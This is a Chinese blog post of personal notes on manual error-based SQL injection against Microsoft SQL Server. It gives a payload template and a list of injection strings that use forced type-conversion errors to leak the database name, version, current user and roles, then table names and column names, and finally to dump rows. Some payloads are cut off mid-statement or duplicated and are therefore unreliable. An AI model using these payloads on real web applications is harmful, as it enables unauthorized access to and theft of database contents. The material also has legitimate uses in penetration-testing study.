MSSQL手工注入總結

之前搞mssql數據庫的注入都是直接跑工具,但是總是有些注入點工具一掃就崩,關鍵時候還是要手工注入,因此總結學習mssql手工注入,寫此文留作筆記。本次主要總結顯錯注入!

payload:

?Id=admin' and 1=convert(int,(sql語句)) AND 'CvNI'='CvNI

基本信息獲取

數據庫信息獲取

1=convert(int,(db_name()))  #獲取當前數據庫名
1=convert(int,(@@version))  #獲取數據庫版本
1=convert(int,(select quotename(name) from master..sysdatabases FOR XML PATH(''))) #一次性獲取全部數據庫
1=convert(int,(select '|'%2bname%2b'|' from master..sysdatabases FOR XML PATH('')))  #一次性獲取全部

USER信息

and 1=(select IS_SRVROLEMEMBER('db_owner')) #查看是否爲db_owner權限、sysadmin、public (未測試成功)如果正確則正常,否則報錯
1=convert(int,(user)) #查看連接數據庫的用戶
admin' AND 1878=CONVERT(INT,(SELECT SUBSTRING((CASE WHEN(IS_SRVROLEMEMBER('db_owner')=1)THEN '1' ELSE '0' END),1,100)))  AND 'iaQQ'='iaQQ #來自sqlmap 也爲測試成功。
ps:未測試成功可能是環境問題

獲取表名

獲取所有表名

1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('V_

獲取指定數據庫的表名

1=convert(int,(select top 1 quotename(name) from [數據庫名]..sysobjects where name not in('table_name1','table_name2') and xtype='U') #逐條獲取表名,將報出來的表名放入tuple
1=convert(int,(select quotename(name) from [數據庫名]..sysobjects where xtype='U' FOR XML PATH(''))) #一次性獲取表名,如果表很多的話會失敗。
1=convert(int,(select top 1 table_name from information_schema.tables where table_catalog=[數據庫名table_catalog=[數據庫名

獲取列名

獲取注入點的表中的列名

having 1=1 --
group by column_name1,column_name2 having 1=1--

獲取任意表中的列名

1=convert(int,(select quotename(name) from [數據庫名]..syscolumns where id =(select id from [數據庫

爆數據

1=(select top 1 * from [數據庫名]..[表名] FOR XML PATH(‘’))

https://www.cnblogs.com/beyond1983/archive/2013/04/16/3023707.html可以看看這篇文章,有助於學習(轉載)

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章